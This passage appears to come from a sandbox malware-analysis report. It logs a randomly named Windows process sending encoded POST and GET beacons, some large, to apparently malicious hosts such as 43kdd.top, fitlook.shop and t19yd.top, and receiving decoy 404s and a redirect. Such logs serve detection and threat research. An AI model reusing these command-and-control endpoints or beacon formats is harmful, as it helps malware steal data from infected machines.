2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL was not found on this server.</p></body></html>
Nov 12, 2024 18:48:23.537611961 CET	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
9	192.168.2.4	49908	38.47.232.202	80	4176	C:\Program Files (x86)\vZklQPYGCrpswQMMImUCYODukgPEQCJuFRQCuATnjaXuIlxjgbbjjraDNoIAJbXnboDRDUx\GhotoFFnRo.exe

Timestamp	Bytes transferred	Direction	Data
Nov 12, 2024 18:48:28.617837906 CET	788	OUT	POST /6iur/ HTTP/1.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Language: en-US,en Accept-Encoding: gzip, deflate, br Host: www.43kdd.top Cache-Control: max-age=0 Content-Type: application/x-www-form-urlencoded Content-Length: 201 Connection: close Origin: http://www.43kdd.top Referer: http://www.43kdd.top/6iur/ User-Agent: Mozilla/5.0 (Linux; Android 4.4.2; SM-G900P Build/KOT49H) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/44.0.2403.133 Mobile Safari/537.36 Data Raw: 43 30 6f 44 3d 35 6c 6b 70 66 59 33 30 31 51 66 42 73 39 7a 65 45 6f 71 68 36 31 54 54 4d 30 36 46 42 37 43 39 56 58 4e 46 6e 77 39 4a 67 68 62 7a 78 43 50 4d 6f 63 7a 62 6e 34 2f 2f 4c 35 55 69 67 59 6a 72 79 2b 7a 34 30 72 65 63 76 32 31 36 6e 42 51 76 5a 50 44 4b 4c 43 78 33 6a 4a 73 48 42 4b 7a 75 61 31 59 4b 7a 4f 39 4a 53 65 2b 42 34 75 30 68 72 38 48 39 4b 36 6b 76 51 59 47 46 4e 77 6c 6b 57 78 4a 79 34 5a 58 62 7a 38 45 42 76 69 78 75 44 63 45 4e 7a 61 6c 4b 64 67 65 38 56 6b 4f 4e 6f 52 34 53 78 6f 44 51 43 7a 77 5a 6d 4a 57 48 41 6b 49 78 38 73 4c 49 69 76 71 43 78 6c 6a 31 67 41 3d 3d Data Ascii: C0oD=5lkpfY301QfBs9zeEoqh61TTM06FB7C9VXNFnw9JghbzxCPMoczbn4//L5UigYjry+z40recv216nBQvZPDKLCx3jJsHBKzua1YKzO9JSe+B4u0hr8H9K6kvQYGFNwlkWxJy4ZXbz8EBvixuDcENzalKdge8VkONoR4SxoDQCzwZmJWHAkIx8sLIivqCxlj1gA==
Nov 12, 2024 18:48:29.595937014 CET	312	IN	HTTP/1.1 404 Not Found Server: nginx Date: Tue, 12 Nov 2024 17:48:29 GMT Content-Type: text/html Content-Length: 148 Connection: close ETag: "66df9b06-94" Data Raw: 0a 3c 68 74 6d 6c 3e 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0a 3c 62 6f 64 79 3e 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0a 3c 2f 62 6f 64 79 3e 0a 3c 2f 68 74 6d 6c 3e 0a 20 20 20 20 20 20 20 20 Data Ascii: <html><head><title>404 Not Found</title></head><body><center><h1>404 Not Found</h1></center><hr><center>nginx</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
10	192.168.2.4	49923	38.47.232.202	80	4176	C:\Program Files (x86)\vZklQPYGCrpswQMMImUCYODukgPEQCJuFRQCuATnjaXuIlxjgbbjjraDNoIAJbXnboDRDUx\GhotoFFnRo.exe

Timestamp	Bytes transferred	Direction	Data
Nov 12, 2024 18:48:31.164441109 CET	808	OUT	POST /6iur/ HTTP/1.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Language: en-US,en Accept-Encoding: gzip, deflate, br Host: www.43kdd.top Cache-Control: max-age=0 Content-Type: application/x-www-form-urlencoded Content-Length: 221 Connection: close Origin: http://www.43kdd.top Referer: http://www.43kdd.top/6iur/ User-Agent: Mozilla/5.0 (Linux; Android 4.4.2; SM-G900P Build/KOT49H) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/44.0.2403.133 Mobile Safari/537.36 Data Raw: 43 30 6f 44 3d 35 6c 6b 70 66 59 33 30 31 51 66 42 74 65 72 65 66 4c 43 68 74 6c 54 4d 51 6b 36 46 50 62 43 78 56 58 78 46 6e 78 4a 5a 67 54 2f 7a 78 69 2f 4d 70 64 7a 62 72 59 2f 2f 44 5a 55 6a 75 34 6a 69 79 2b 76 77 30 76 43 63 76 32 78 36 6e 46 63 76 5a 2b 44 4e 4b 53 78 70 6c 4a 73 42 66 36 7a 75 61 31 59 4b 7a 4f 5a 6a 53 66 61 42 34 65 45 68 71 59 54 2b 48 61 6b 75 48 6f 47 46 48 67 6c 67 57 78 4a 71 34 61 54 31 7a 2b 4d 42 76 6e 4e 75 44 49 6f 4b 34 61 6c 4d 58 41 66 78 52 58 6e 48 71 44 35 49 37 35 69 72 47 53 4d 74 6e 50 62 64 52 56 70 6d 75 73 76 37 2f 6f 6a 32 38 6d 65 38 37 48 57 4e 42 44 2b 43 47 63 38 31 7a 75 71 6a 52 34 4d 41 79 63 59 3d Data Ascii: C0oD=5lkpfY301QfBterefLChtlTMQk6FPbCxVXxFnxJZgT/zxi/MpdzbrY//DZUju4jiy+vw0vCcv2x6nFcvZ+DNKSxplJsBf6zua1YKzOZjSfaB4eEhqYT+HakuHoGFHglgWxJq4aT1z+MBvnNuDIoK4alMXAfxRXnHqD5I75irGSMtnPbdRVpmusv7/oj28me87HWNBD+CGc81zuqjR4MAycY=
Nov 12, 2024 18:48:32.109539986 CET	312	IN	HTTP/1.1 404 Not Found Server: nginx Date: Tue, 12 Nov 2024 17:48:31 GMT Content-Type: text/html Content-Length: 148 Connection: close ETag: "66df9b06-94" Data Raw: 0a 3c 68 74 6d 6c 3e 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0a 3c 62 6f 64 79 3e 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0a 3c 2f 62 6f 64 79 3e 0a 3c 2f 68 74 6d 6c 3e 0a 20 20 20 20 20 20 20 20 Data Ascii: <html><head><title>404 Not Found</title></head><body><center><h1>404 Not Found</h1></center><hr><center>nginx</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
11	192.168.2.4	49939	38.47.232.202	80	4176	C:\Program Files (x86)\vZklQPYGCrpswQMMImUCYODukgPEQCJuFRQCuATnjaXuIlxjgbbjjraDNoIAJbXnboDRDUx\GhotoFFnRo.exe

Timestamp	Bytes transferred	Direction	Data
Nov 12, 2024 18:48:33.727041960 CET	10890	OUT	POST /6iur/ HTTP/1.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Language: en-US,en Accept-Encoding: gzip, deflate, br Host: www.43kdd.top Cache-Control: max-age=0 Content-Type: application/x-www-form-urlencoded Content-Length: 10301 Connection: close Origin: http://www.43kdd.top Referer: http://www.43kdd.top/6iur/ User-Agent: Mozilla/5.0 (Linux; Android 4.4.2; SM-G900P Build/KOT49H) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/44.0.2403.133 Mobile Safari/537.36 Data Raw: 43 30 6f 44 3d 35 6c 6b 70 66 59 33 30 31 51 66 42 74 65 72 65 66 4c 43 68 74 6c 54 4d 51 6b 36 46 50 62 43 78 56 58 78 46 6e 78 4a 5a 67 54 33 7a 78 7a 66 4d 72 2b 62 62 6f 59 2f 2f 66 4a 55 6d 75 34 69 77 79 2b 6e 30 30 6f 4b 4d 76 30 5a 36 6d 67 41 76 66 4d 6e 4e 41 53 78 70 6e 4a 73 45 42 4b 79 73 61 31 49 57 7a 4f 4a 6a 53 66 61 42 34 63 73 68 71 4d 48 2b 55 71 6b 76 51 59 47 42 4e 77 6c 59 57 33 68 36 34 62 6e 4c 7a 50 73 42 76 44 52 75 50 62 51 4b 6b 4b 6c 4f 51 41 65 69 52 58 37 45 71 43 56 4d 37 35 58 6a 47 53 6f 74 6d 35 6d 47 4b 6d 78 72 73 65 33 64 76 70 66 56 37 31 36 4e 69 33 69 42 49 44 79 4a 54 4a 63 66 38 4f 62 63 4b 62 55 35 6e 72 5a 31 72 4e 33 31 44 52 75 70 48 61 56 4e 57 69 35 6f 77 6d 33 47 78 30 54 66 2f 36 65 6f 6d 32 6d 34 71 58 50 58 6a 66 66 66 6c 7a 51 35 2f 30 4a 32 54 46 2f 7a 67 78 6b 71 6e 59 74 67 66 36 4d 54 49 41 77 6a 4b 34 7a 34 4d 4a 49 6a 58 36 79 31 4a 54 6c 53 68 58 37 4e 52 4e 33 43 5a 2b 31 6c 64 76 4e 72 47 39 39 6a 46 2b 75 59 47 7a 47 74 47 30 71 52 59 [TRUNCATED] Data Ascii: C0oD=5lkpfY301QfBterefLChtlTMQk6FPbCxVXxFnxJZgT3zxzfMr+bboY//fJUmu4iwy+n00oKMv0Z6mgAvfMnNASxpnJsEBKysa1IWzOJjSfaB4cshqMH+UqkvQYGBNwlYW3h64bnLzPsBvDRuPbQKkKlOQAeiRX7EqCVM75XjGSotm5mGKmxrse3dvpfV716Ni3iBIDyJTJcf8ObcKbU5nrZ1rN31DRupHaVNWi5owm3Gx0Tf/6eom2m4qXPXjffflzQ5/0J2TF/zgxkqnYtgf6MTIAwjK4z4MJIjX6y1JTlShX7NRN3CZ+1ldvNrG99jF+uYGzGtG0qRYQv6ffBPE9R0gLEzqs6NsJji+EMZyeZMUvjyrFI7YnotEyZapO3RJQjO3jaf+npZ/iY9mUL/gqK5SaN0cj5VeGUrSdrrN5a4lrmiw8wC1au+nL1ywUYuWZhpey8h7AcyxWY/5Oo6DchUmyTNpEvgGLSckcrI3cMZZFWF/s/GNEdYMz+Hpj4KYJCo8dHOeOHuj93iy8kSkp6VKhfGSHL9aBejCB/w0oBeoajzy1xH1IW2gwVn7ZLxXNw5ZJ6W/cZ2yyu4hJbmFE65M3+pBpwDOqNZthHryQXs+JKVsAML+BvEBC9y/iPA2oH/ednkxG0OqmCL0nztwgENSdqTbxHO4zMp9l/USCQt32B1InAdAYETvaR/jK/ekQd8COYUq2F8w5g209HFon0jYX/CciH8aK1bZdNo7iV/x4wrEhwZu6Zliz2eYwOZC78O5RYyo6gQAOZ/lGPKwFSEAZt2d2r6OF7+IMF/CVhOeiEK7r9OCmiI91gtTE5sBmaPxcnjbxb3xNQIQwMdqScCnRcYshv595KcegVlaGQguuArtUS2M0mlYZlil8X+5hCRFTjyUrVejMAWQkwIKyn+Yi7MT2h8m8PL+e+IksxJMvxo2sOv5EtKTJqugA08penTarmnrqtJcx2O1996ZfP6THM//2cimeqZb2oNDEM83PB [TRUNCATED]
Nov 12, 2024 18:48:34.671842098 CET	312	IN	HTTP/1.1 404 Not Found Server: nginx Date: Tue, 12 Nov 2024 17:48:34 GMT Content-Type: text/html Content-Length: 148 Connection: close ETag: "66df9b06-94" Data Raw: 0a 3c 68 74 6d 6c 3e 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0a 3c 62 6f 64 79 3e 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0a 3c 2f 62 6f 64 79 3e 0a 3c 2f 68 74 6d 6c 3e 0a 20 20 20 20 20 20 20 20 Data Ascii: <html><head><title>404 Not Found</title></head><body><center><h1>404 Not Found</h1></center><hr><center>nginx</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
12	192.168.2.4	49955	38.47.232.202	80	4176	C:\Program Files (x86)\vZklQPYGCrpswQMMImUCYODukgPEQCJuFRQCuATnjaXuIlxjgbbjjraDNoIAJbXnboDRDUx\GhotoFFnRo.exe

Timestamp	Bytes transferred	Direction	Data
Nov 12, 2024 18:48:36.271267891 CET	535	OUT	GET /6iur/?C0oD=0nMJct3q1A3XzMXjE+ivshWrQE+XNY2vZkYEnxQvgljfmjLPkYHFjKqOBb0jruiOvYz34q23vFgZrlJgY/jJPVhUzqIQSZTSSXUfz9p/TbKa5+cetqeuNbw=&SJLty=7Zsl8bAHqdkHEnH HTTP/1.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Language: en-US,en Host: www.43kdd.top Connection: close User-Agent: Mozilla/5.0 (Linux; Android 4.4.2; SM-G900P Build/KOT49H) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/44.0.2403.133 Mobile Safari/537.36
Nov 12, 2024 18:48:37.220454931 CET	312	IN	HTTP/1.1 404 Not Found Server: nginx Date: Tue, 12 Nov 2024 17:48:37 GMT Content-Type: text/html Content-Length: 148 Connection: close ETag: "66df9b06-94" Data Raw: 0a 3c 68 74 6d 6c 3e 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0a 3c 62 6f 64 79 3e 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0a 3c 2f 62 6f 64 79 3e 0a 3c 2f 68 74 6d 6c 3e 0a 20 20 20 20 20 20 20 20 Data Ascii: <html><head><title>404 Not Found</title></head><body><center><h1>404 Not Found</h1></center><hr><center>nginx</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
13	192.168.2.4	50015	13.248.169.48	80	4176	C:\Program Files (x86)\vZklQPYGCrpswQMMImUCYODukgPEQCJuFRQCuATnjaXuIlxjgbbjjraDNoIAJbXnboDRDUx\GhotoFFnRo.exe

Timestamp	Bytes transferred	Direction	Data
Nov 12, 2024 18:48:50.631124020 CET	797	OUT	POST /34uy/ HTTP/1.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Language: en-US,en Accept-Encoding: gzip, deflate, br Host: www.fitlook.shop Cache-Control: max-age=0 Content-Type: application/x-www-form-urlencoded Content-Length: 201 Connection: close Origin: http://www.fitlook.shop Referer: http://www.fitlook.shop/34uy/ User-Agent: Mozilla/5.0 (Linux; Android 4.4.2; SM-G900P Build/KOT49H) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/44.0.2403.133 Mobile Safari/537.36 Data Raw: 43 30 6f 44 3d 48 51 6c 2b 6b 6b 73 51 33 51 37 57 78 54 53 76 6d 63 34 64 5a 31 6f 45 41 31 50 6a 56 35 71 66 6f 4a 36 55 79 62 4e 32 35 41 5a 45 33 62 55 6b 56 72 56 46 37 48 36 76 53 37 43 50 51 44 76 6e 64 33 4a 56 5a 4f 51 37 76 43 46 49 7a 77 36 30 48 66 41 7a 41 51 45 30 5a 6d 30 37 48 6a 53 30 79 74 79 46 6f 6d 41 74 36 78 5a 55 78 69 59 77 49 4f 4e 74 44 53 59 31 49 47 69 75 6e 71 59 58 58 61 41 65 79 32 68 4b 73 64 34 55 73 52 6e 59 6e 50 30 31 41 6a 58 65 73 65 73 68 39 4a 6c 53 6d 33 4c 33 57 71 71 53 53 52 71 55 72 65 6a 36 51 4f 78 74 4e 46 38 41 39 59 56 63 58 62 78 45 5a 77 3d 3d Data Ascii: C0oD=HQl+kksQ3Q7WxTSvmc4dZ1oEA1PjV5qfoJ6UybN25AZE3bUkVrVF7H6vS7CPQDvnd3JVZOQ7vCFIzw60HfAzAQE0Zm07HjS0ytyFomAt6xZUxiYwIONtDSY1IGiunqYXXaAey2hKsd4UsRnYnP01AjXesesh9JlSm3L3WqqSSRqUrej6QOxtNF8A9YVcXbxEZw==

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
14	192.168.2.4	50016	13.248.169.48	80	4176	C:\Program Files (x86)\vZklQPYGCrpswQMMImUCYODukgPEQCJuFRQCuATnjaXuIlxjgbbjjraDNoIAJbXnboDRDUx\GhotoFFnRo.exe

Timestamp	Bytes transferred	Direction	Data
Nov 12, 2024 18:48:53.256110907 CET	817	OUT	POST /34uy/ HTTP/1.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Language: en-US,en Accept-Encoding: gzip, deflate, br Host: www.fitlook.shop Cache-Control: max-age=0 Content-Type: application/x-www-form-urlencoded Content-Length: 221 Connection: close Origin: http://www.fitlook.shop Referer: http://www.fitlook.shop/34uy/ User-Agent: Mozilla/5.0 (Linux; Android 4.4.2; SM-G900P Build/KOT49H) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/44.0.2403.133 Mobile Safari/537.36 Data Raw: 43 30 6f 44 3d 48 51 6c 2b 6b 6b 73 51 33 51 37 57 67 48 57 76 68 50 41 64 66 56 6f 48 5a 46 50 6a 62 5a 71 62 6f 4a 32 55 79 59 41 70 34 31 42 45 32 2f 51 6b 55 70 39 46 38 48 36 76 61 62 44 46 66 6a 76 77 64 77 42 33 5a 50 73 37 76 47 74 49 7a 77 4b 30 48 75 41 30 53 51 45 79 41 32 30 39 4a 44 53 30 79 74 79 46 6f 6e 6b 48 36 78 42 55 79 53 49 77 4f 76 4e 75 50 79 59 32 50 47 69 75 6a 71 5a 2f 58 61 41 73 79 79 42 30 73 66 77 55 73 56 6a 59 2b 36 41 79 4a 6a 58 59 69 2b 74 41 34 35 73 37 6e 6c 69 71 4a 70 32 38 57 78 2b 34 6a 34 75 67 42 2f 51 36 66 46 59 7a 67 66 63 6f 61 59 4d 4e 43 77 49 34 37 39 33 66 73 48 65 44 7a 56 49 61 6c 7a 58 69 72 2f 38 3d Data Ascii: C0oD=HQl+kksQ3Q7WgHWvhPAdfVoHZFPjbZqboJ2UyYAp41BE2/QkUp9F8H6vabDFfjvwdwB3ZPs7vGtIzwK0HuA0SQEyA209JDS0ytyFonkH6xBUySIwOvNuPyY2PGiujqZ/XaAsyyB0sfwUsVjY+6AyJjXYi+tA45s7nliqJp28Wx+4j4ugB/Q6fFYzgfcoaYMNCwI4793fsHeDzVIalzXir/8=

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
15	192.168.2.4	50017	13.248.169.48	80	4176	C:\Program Files (x86)\vZklQPYGCrpswQMMImUCYODukgPEQCJuFRQCuATnjaXuIlxjgbbjjraDNoIAJbXnboDRDUx\GhotoFFnRo.exe

Timestamp	Bytes transferred	Direction	Data
Nov 12, 2024 18:48:55.806242943 CET	10899	OUT	POST /34uy/ HTTP/1.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Language: en-US,en Accept-Encoding: gzip, deflate, br Host: www.fitlook.shop Cache-Control: max-age=0 Content-Type: application/x-www-form-urlencoded Content-Length: 10301 Connection: close Origin: http://www.fitlook.shop Referer: http://www.fitlook.shop/34uy/ User-Agent: Mozilla/5.0 (Linux; Android 4.4.2; SM-G900P Build/KOT49H) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/44.0.2403.133 Mobile Safari/537.36 Data Raw: 43 30 6f 44 3d 48 51 6c 2b 6b 6b 73 51 33 51 37 57 67 48 57 76 68 50 41 64 66 56 6f 48 5a 46 50 6a 62 5a 71 62 6f 4a 32 55 79 59 41 70 34 32 68 45 33 4d 49 6b 57 49 39 46 39 48 36 76 55 37 44 49 66 6a 76 49 64 78 6c 7a 5a 50 67 72 76 41 70 49 79 54 79 30 42 61 30 30 59 51 45 79 49 57 30 38 48 6a 54 73 79 75 4b 42 6f 6e 30 48 36 78 42 55 79 51 41 77 4a 2b 4e 75 4a 79 59 31 49 47 69 69 6e 71 5a 45 58 65 55 57 79 79 45 50 73 76 51 55 76 31 7a 59 38 73 63 79 47 6a 58 61 6c 2b 74 69 34 35 77 67 6e 6c 2b 6d 4a 71 71 57 57 7a 69 34 6d 2f 44 70 62 4e 73 65 4a 47 38 50 33 34 78 4e 54 34 4d 74 63 78 55 41 2b 6f 58 6f 7a 79 2b 39 77 6d 5a 74 67 53 66 2f 76 36 48 4d 4c 39 31 45 44 32 6f 6e 4c 61 36 70 56 67 57 6b 49 2b 76 58 35 49 6d 53 4c 41 57 69 62 53 65 79 37 55 6f 4b 74 77 50 4c 74 77 68 75 32 4b 75 79 6a 4d 49 77 33 4e 69 49 47 61 36 37 48 52 78 49 30 30 77 2b 47 43 56 36 47 64 5a 76 6b 64 75 6a 7a 57 66 74 5a 31 2b 32 72 51 50 69 65 77 52 67 2b 46 6c 56 78 54 7a 56 50 6c 6a 2b 6d 46 36 78 75 31 46 75 44 [TRUNCATED] Data Ascii: C0oD=HQl+kksQ3Q7WgHWvhPAdfVoHZFPjbZqboJ2UyYAp42hE3MIkWI9F9H6vU7DIfjvIdxlzZPgrvApIyTy0Ba00YQEyIW08HjTsyuKBon0H6xBUyQAwJ+NuJyY1IGiinqZEXeUWyyEPsvQUv1zY8scyGjXal+ti45wgnl+mJqqWWzi4m/DpbNseJG8P34xNT4MtcxUA+oXozy+9wmZtgSf/v6HML91ED2onLa6pVgWkI+vX5ImSLAWibSey7UoKtwPLtwhu2KuyjMIw3NiIGa67HRxI00w+GCV6GdZvkdujzWftZ1+2rQPiewRg+FlVxTzVPlj+mF6xu1FuDy/4YZmAe7FVSRTE9zNhEsNi6+buXoAKZo3L84ZxH7cXtxNqk9Ch4kxpKrmN4TqSGKRK1ZwG+WccQZfe+cJu+prRyuaBWhRqp6siecArucOHoym/LpbfFI2JsZ2ws58kHRu3ibR5ZcUHOyl2wz/kQb1OTl8bvON8MnsQtTlzhL8hzKRTJimPii46PgTMsYO4l4CcTuMm6glWMXZkBDGyUYh8imBNrOtKV6ocdXWgsmocm/QlCXPbXc4FdC5ffG2I6Z85AlnfrQaCyNOfDrymbh0XEx365OSlZ/AfsR9FAKpSVnrc77bEi5V1+ElWci9GAkPpNS+zZmFziXYdR5a7EaYgaREgAEoMcMefBLCkoiSi9C9cJUgFk4ykNZHERf/37N9hjU2mRVh/sZcqCi/PAK8BlGTum9rtuBOQsZ/NlI0/7jrE7SEyEfI0YtEEz3fA92fC4UVE/RSzZcXKX2rfm58LT+DfZwOYa88xGdD/d0rs+BQnH+kbUTYmNBaMU8bbw2Z/VZ0HWps1w/poeEjM/ww/IINv8PRfE32le3XSfWmALc/wRgVfVjK6vmBfoIpRCBwiSZnsw37PdAZysNuJYzgG4rqHYHc5Vz/qIzXcCpk3Ps3/+snfvMJHZW0qNLac6jzlyLAPB2twuITZWJqUvTbALkwmVHR2xzo [TRUNCATED]

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
16	192.168.2.4	50018	13.248.169.48	80	4176	C:\Program Files (x86)\vZklQPYGCrpswQMMImUCYODukgPEQCJuFRQCuATnjaXuIlxjgbbjjraDNoIAJbXnboDRDUx\GhotoFFnRo.exe

Timestamp	Bytes transferred	Direction	Data
Nov 12, 2024 18:48:58.348754883 CET	538	OUT	GET /34uy/?C0oD=KSNenRUz0x3jwwaFmZETAA9KYzPdWounuY72k7Av3QdD/OE/Wc5w7TzUcZjUVirDVR5tYsYUnylr3EOuBfofYgQDaG0iHWLP0vmwml0k5CsL5iUNPuoNBRw=&SJLty=7Zsl8bAHqdkHEnH HTTP/1.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Language: en-US,en Host: www.fitlook.shop Connection: close User-Agent: Mozilla/5.0 (Linux; Android 4.4.2; SM-G900P Build/KOT49H) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/44.0.2403.133 Mobile Safari/537.36
Nov 12, 2024 18:48:58.999310970 CET	402	IN	HTTP/1.1 200 OK Server: openresty Date: Tue, 12 Nov 2024 17:48:58 GMT Content-Type: text/html Content-Length: 262 Connection: close Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 73 63 72 69 70 74 3e 77 69 6e 64 6f 77 2e 6f 6e 6c 6f 61 64 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 77 69 6e 64 6f 77 2e 6c 6f 63 61 74 69 6f 6e 2e 68 72 65 66 3d 22 2f 6c 61 6e 64 65 72 3f 43 30 6f 44 3d 4b 53 4e 65 6e 52 55 7a 30 78 33 6a 77 77 61 46 6d 5a 45 54 41 41 39 4b 59 7a 50 64 57 6f 75 6e 75 59 37 32 6b 37 41 76 33 51 64 44 2f 4f 45 2f 57 63 35 77 37 54 7a 55 63 5a 6a 55 56 69 72 44 56 52 35 74 59 73 59 55 6e 79 6c 72 33 45 4f 75 42 66 6f 66 59 67 51 44 61 47 30 69 48 57 4c 50 30 76 6d 77 6d 6c 30 6b 35 43 73 4c 35 69 55 4e 50 75 6f 4e 42 52 77 3d 26 53 4a 4c 74 79 3d 37 5a 73 6c 38 62 41 48 71 64 6b 48 45 6e 48 22 7d 3c 2f 73 63 72 69 70 74 3e 3c 2f 68 65 61 64 3e 3c 2f 68 74 6d 6c 3e Data Ascii: <!DOCTYPE html><html><head><script>window.onload=function(){window.location.href="/lander?C0oD=KSNenRUz0x3jwwaFmZETAA9KYzPdWounuY72k7Av3QdD/OE/Wc5w7TzUcZjUVirDVR5tYsYUnylr3EOuBfofYgQDaG0iHWLP0vmwml0k5CsL5iUNPuoNBRw=&SJLty=7Zsl8bAHqdkHEnH"}</script></head></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
17	192.168.2.4	50019	38.47.207.164	80	4176	C:\Program Files (x86)\vZklQPYGCrpswQMMImUCYODukgPEQCJuFRQCuATnjaXuIlxjgbbjjraDNoIAJbXnboDRDUx\GhotoFFnRo.exe

Timestamp	Bytes transferred	Direction	Data
Nov 12, 2024 18:49:04.379703999 CET	788	OUT	POST /pmk2/ HTTP/1.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Language: en-US,en Accept-Encoding: gzip, deflate, br Host: www.t19yd.top Cache-Control: max-age=0 Content-Type: application/x-www-form-urlencoded Content-Length: 201 Connection: close Origin: http://www.t19yd.top Referer: http://www.t19yd.top/pmk2/ User-Agent: Mozilla/5.0 (Linux; Android 4.4.2; SM-G900P Build/KOT49H) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/44.0.2403.133 Mobile Safari/537.36 Data Raw: 43 30 6f 44 3d 36 42 32 58 62 4a 41 31 4d 33 68 56 43 6b 38 58 55 75 6e 56 38 42 64 75 6f 71 4f 78 63 74 74 52 55 65 65 30 50 55 4b 2f 7a 49 50 77 52 66 4c 57 6f 53 30 53 4d 62 56 6f 30 77 76 5a 2b 43 71 74 41 4f 4d 35 59 45 79 4d 61 64 67 38 4d 38 74 68 44 57 41 6a 4b 4a 73 4c 61 54 33 57 70 56 4f 6c 52 54 59 36 55 71 32 6f 74 53 65 58 68 63 57 31 6a 59 76 65 76 31 58 49 67 4e 76 55 4f 50 2f 42 39 76 62 72 54 76 44 50 66 70 2f 50 68 39 6b 56 34 50 59 6f 54 51 6d 71 66 38 4e 44 68 57 62 78 5a 44 6c 53 6a 34 66 42 67 62 75 61 53 52 52 78 4b 44 6c 44 37 32 4e 54 4d 46 31 53 70 36 58 77 66 77 3d 3d Data Ascii: C0oD=6B2XbJA1M3hVCk8XUunV8BduoqOxcttRUee0PUK/zIPwRfLWoS0SMbVo0wvZ+CqtAOM5YEyMadg8M8thDWAjKJsLaT3WpVOlRTY6Uq2otSeXhcW1jYvev1XIgNvUOP/B9vbrTvDPfp/Ph9kV4PYoTQmqf8NDhWbxZDlSj4fBgbuaSRRxKDlD72NTMF1Sp6Xwfw==
